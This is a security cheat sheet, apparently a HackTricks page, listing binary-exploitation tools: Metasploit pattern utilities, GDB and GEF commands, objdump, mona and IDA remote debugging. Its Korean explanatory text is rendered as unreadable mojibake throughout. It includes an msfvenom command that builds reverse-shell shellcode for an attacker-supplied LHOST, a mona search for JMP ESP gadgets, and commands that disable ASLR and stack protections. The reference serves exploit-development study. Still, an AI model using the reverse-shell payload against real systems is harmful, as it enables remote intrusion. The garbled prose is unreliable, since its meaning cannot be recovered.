Exploiting Tools
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Metasploit
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
์์ฝ๋
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
GDB
์ค์น
apt-get install gdb
๋งค๊ฐ๋ณ์
-q #ย No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> #ย Attach to process
์ง์นจ
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
GEF
๋น์ ์ ์ ํ์ ์ผ๋ก ์ด GE์ ํฌํฌF๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ํฌํฌ๋ ๋ ํฅ๋ฏธ๋ก์ด ์ง์นจ์ ํฌํจํ๊ณ ์์ต๋๋ค.
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- efโค i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gefโค pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
Tricks
GDB ๋์ผ ์ฃผ์
๋๋ฒ๊น ์ค GDB๋ ์คํ๋ ๋ ๋ฐ์ด๋๋ฆฌ์์ ์ฌ์ฉ๋๋ ์ฃผ์์ ์ฝ๊ฐ ๋ค๋ฅธ ์ฃผ์๋ฅผ ๊ฐ์ง๋๋ค. GDB๊ฐ ๋์ผํ ์ฃผ์๋ฅผ ๊ฐ์ง๋๋ก ํ๋ ค๋ฉด ๋ค์์ ์ํํ์ญ์์ค:
unset env LINESunset env COLUMNSset env _=<path>๋ฐ์ด๋๋ฆฌ์ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ ๋ ฅํ์ธ์- ๋์ผํ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ต์คํ๋ก์ํฉ๋๋ค.
- GDB๋ฅผ ์ฌ์ฉํ ๋์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ต์คํ๋ก์ํ ๋
PWD์OLDPWD๋ ๋์ผํด์ผ ํฉ๋๋ค.
ํธ์ถ๋ ํจ์ ์ฐพ๊ธฐ ์ํ ๋ฐฑํธ๋ ์ด์ค
์ ์ ๋งํฌ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์ ๋ ๋ชจ๋ ํจ์๋ ๋ฐ์ด๋๋ฆฌ์ ์ํ๊ฒ ๋ฉ๋๋ค(์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์๋). ์ด ๊ฒฝ์ฐ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ฌ์ฉ์ ์
๋ ฅ์ ์์ฒญํ๋ ํ๋ฆ์ ์๋ณํ๊ธฐ ์ด๋ ค์ธ ๊ฒ์
๋๋ค.
์ด ํ๋ฆ์ gdb๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ์ฌ ์
๋ ฅ์ ์์ฒญํ ๋๊น์ง ์ฝ๊ฒ ์๋ณํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ CTRL+C๋ก ์ค์งํ๊ณ bt (๋ฐฑํธ๋ ์ด์ค) ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ํธ์ถ๋ ํจ์๋ฅผ ํ์ธํ์ญ์์ค:
gefโค bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
GDB ์๋ฒ
gdbserver --multi 0.0.0.0:23947 (IDA์์๋ Linux ๋จธ์ ์ ์คํ ํ์ผ์ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์
๋ ฅํด์ผ ํ๊ณ Windows ๋จธ์ ์์๋ ๋ง์ฐฌ๊ฐ์ง์
๋๋ค)
Ghidra
์คํ ์คํ์ ์ฐพ๊ธฐ
Ghidra๋ ๋ก์ปฌ ๋ณ์์ ์์น์ ๋ํ ์ ๋ณด ๋๋ถ์ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ ์คํ์
์ ์ฐพ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ์๋ ์์ ์์ local_bc์ ๋ฒํผ ํ๋ฆ์ 0xbc์ ์คํ์
์ด ํ์ํจ์ ๋ํ๋
๋๋ค. ๋ํ, local_10์ด ์นด๋๋ฆฌ ์ฟ ํค์ธ ๊ฒฝ์ฐ, local_bc์์ ์ด๋ฅผ ๋ฎ์ด์ฐ๋ ค๋ฉด 0xac์ ์คํ์
์ด ํ์ํจ์ ๋ํ๋
๋๋ค.
Remember that the first 0x08 from where the RIP is saved belongs to the RBP.
.png)
qtool
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
๋ชจ๋ ์คํ๋ opcode๋ฅผ ํ๋ก๊ทธ๋จ์์ ๊ฐ์ ธ์ต๋๋ค.
GCC
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 โ> ๋ณดํธ ์์ด ์ปดํ์ผ
-o โ> ์ถ๋ ฅ
-g โ> ์ฝ๋ ์ ์ฅ (GDB๊ฐ ์ด๋ฅผ ๋ณผ ์ ์์)
echo 0 > /proc/sys/kernel/randomize_va_space โ> ๋ฆฌ๋
์ค์์ ASLR ๋นํ์ฑํ
์์ฝ๋๋ฅผ ์ปดํ์ผํ๋ ค๋ฉด:
nasm -f elf assembly.asm โ> โ.oโ ๋ฐํ
ld assembly.o -o shellcodeout โ> ์คํ ํ์ผ
Objdump
-d โ> ์คํ ๊ฐ๋ฅํ ์น์
์ ๋์ค์ด์
๋ธ (์ปดํ์ผ๋ ์์ฝ๋์ opcodes ๋ณด๊ธฐ, ROP Gadgets ์ฐพ๊ธฐ, ํจ์ ์ฃผ์ ์ฐพ๊ธฐโฆ)
-Mintel โ> Intel ๊ตฌ๋ฌธ
-t โ> ๊ธฐํธ ํ
์ด๋ธ
-D โ> ๋ชจ๋ ๋์ค์ด์
๋ธ (์ ์ ๋ณ์์ ์ฃผ์)
-s -j .dtors โ> dtors ์น์
-s -j .got โ> got ์น์
-D -s -j .plt โ> plt ์น์
๋์ปดํ์ผ๋จ
-TR โ> ์ฌ๋ฐฐ์น
ojdump -t โdynamic-relo ./exec | grep puts โ> GOT์์ ์์ ํ โputsโ์ ์ฃผ์
objdump -D ./exec | grep โVAR_NAMEโ โ> ์ ์ ๋ณ์์ ์ฃผ์ (์ด๋ค์ DATA ์น์
์ ์ ์ฅ๋จ).
Core dumps
- ํ๋ก๊ทธ๋จ์ ์์ํ๊ธฐ ์ ์
ulimit -c unlimited์คํ sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t์คํ- sudo gdb โcore=<path/core> โquiet
More
ldd executable | grep libc.so.6 โ> ์ฃผ์ (ASLR๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ ๋งค๋ฒ ๋ณ๊ฒฝ๋จ)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done โ> ์ฃผ์๊ฐ ๋ง์ด ๋ณ๊ฒฝ๋๋์ง ํ์ธํ๊ธฐ ์ํ ๋ฃจํ
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system โ> โsystemโ์ ์คํ์
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh โ> โ/bin/shโ์ ์คํ์
strace executable โ> ์คํ ํ์ผ์ ์ํด ํธ์ถ๋ ํจ์
rabin2 -i ejecutable โ> ๋ชจ๋ ํจ์์ ์ฃผ์
Inmunity debugger
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
IDA
์๊ฒฉ ๋ฆฌ๋ ์ค์์ ๋๋ฒ๊น
IDA ํด๋ ์์๋ ๋ฆฌ๋
์ค์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋๋ฒ๊น
ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์ต๋๋ค. ๊ทธ๋ ๊ฒ ํ๋ ค๋ฉด linux_server ๋๋ linux_server64 ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฆฌ๋
์ค ์๋ฒ ์์ผ๋ก ์ด๋์ํค๊ณ ๋ฐ์ด๋๋ฆฌ๊ฐ ํฌํจ๋ ํด๋ ์์์ ์คํํ์ธ์:
./linux_server64 -Ppass
๊ทธ๋ฐ ๋ค์ ๋๋ฒ๊ฑฐ๋ฅผ ๊ตฌ์ฑํฉ๋๋ค: Debugger (linux remote) โ> Proccess optionsโฆ:
.png)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


